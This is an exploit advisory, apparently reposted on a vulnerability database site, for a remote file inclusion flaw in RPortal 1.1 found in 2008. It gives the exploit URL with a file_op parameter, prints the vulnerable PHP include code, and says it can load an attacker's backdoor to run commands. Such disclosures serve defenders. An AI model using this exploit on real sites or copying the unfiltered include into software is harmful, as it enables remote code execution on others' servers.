=========================================================
RPortal 1.1 (file_op) Remote File Inclusion Vulnerability
=========================================================
#########################################################
#
# RPortal v1.1
#
#
# Rportal is a management system of contents simple and powerful Web,
# enabling you to create your site in a few minutes, while profiting
# from a complete and effective administration.
#
#
# Remote and Local File Inclusion Vulnerability <= 1.1
# Found the 29th September 2008
##########################################################
# Author: Kad
##########################################################
#
# script : RPortal v 1.1
# http://www.rportal.org/?op=download&fid=36
#
##########################################################
[~] Exploit :
http://www.site.com/index.php?file_op=[url]
#
# Vulnerable code source :
#
if(!isset($file_op))$file_op='';
if($file_op!="")
{
$op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));
if($op_basepath!='') $op_basepath = str_replace("/php/", "/", $op_basepath);
include($file_op);
}
# The problem is that the variable $file_op is not filtered
# Then, you can put the link that you want, like your own backdoor
# and execute commands.
# 0day.today [2018-03-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation